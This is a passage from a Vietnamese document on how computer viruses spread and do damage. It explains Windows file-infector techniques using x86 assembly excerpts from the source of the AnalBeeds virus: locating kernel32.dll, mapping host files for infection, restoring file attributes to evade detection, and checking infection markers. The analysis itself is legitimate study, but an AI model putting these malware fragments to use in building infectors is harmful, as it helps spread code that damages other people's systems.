Các kỹ thuật chính

Một phần của tài liệu Các phương pháp lây lan và phá hoại của virus máy tính (Trang 39 - 42)

Tìm địa chỉ cơ sở của kernell32.dll

Để có thể sử dụng các hàm API của hệ điều hành, trước hết virus phải tìm được địa chỉ cơ sở của file thư viện liên kết động kernell32.dll.

Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật tìm địa chỉ cơ sở của file kernell32.dll.

VirusStart:

call GetDelta GetDelta:

sub ebp, offset GetDelta

mov eax, [esp]

or eax, 00000FFFh xor eax, 00000FFFh compare: cmp word ptr [eax], 'ZM' je kernel32_found sub eax, 1000h jmp compare

Sau khi xác định được địa chỉ nằm trong thanh ghi eax, có thể dựa vào đó để tìm kiếm PE Header của kernell32.

Mapping file

File thực thi sẽđược ánh xạ vào không gian bộ nhớ. Virus thao tác trên không gian này và các thao tác đó được ánh xạ ngược lại file vật lý.

Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật mapping file.

Pushad

mov dword ptr [ebp + newfilesize], ecx mov word ptr [ebp + infectionflag], 0

add ecx, viruslen

add ecx, 1000h

mov [ebp + offset memory], ecx

Ta thấy khi mapping file virus cần bố trí dung lượng bộ nhớ bằng kích thước file nguyên thủy cộng với độ dài đoạn mã virus cộng thêm một vùng đệm (buffer). Nếu khi mapping không phân phối đủ bộ nhớ có thể sẽ dẫn đến lỗi (fault page) khi ghi.

push 0

push dword ptr [ebp + offset memory] push 0

push 4 push 0

push dword ptr [ebp + offset filehandle]

call [ebp + __ADDR_CreateFileMappingA] mov [ebp + offset maphandle], eax

cmp eax, 0

je CloseFile

Thay đổi thuộc tính file

Cũng giống như các virus dưới nền DOS, khi thao tác trên file, nếu virus không trả lại thuộc tính cũ sẽ rất dễ bị phát hiện.

Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật lấy và đặt thuộc tính file.

mov [ebp + offset fileofs], esi

push esi

call [ebp + __ADDR_GetFileAttributesA] cmp eax, 0 (adsbygoogle = window.adsbygoogle || []).push({});

mov [ebp + fileattributes], eax push 80h

push esi

call [ebp + __ADDR_SetFileAttributesA] ...

push dword ptr [ebp + offset fileattributes] push dword ptr [ebp + offset fileofs]

call [ebp + __ADDR_SetFileAttributesA] jmp InfectionSuccesful

Kiểm tra tính tồn tại duy nhất

Đoạn mã sau được trích từ source code của virus AnalBeeds để minh họa cho kỹ thuật kiểm tra tính tồn tại duy nhất.

cmp word ptr [esi + 38h], 'MS'

jne OkGo

mov word ptr [ebp + infectionflag], 0FFh jmp UnmapView

Một phần của tài liệu Các phương pháp lây lan và phá hoại của virus máy tính (Trang 39 - 42)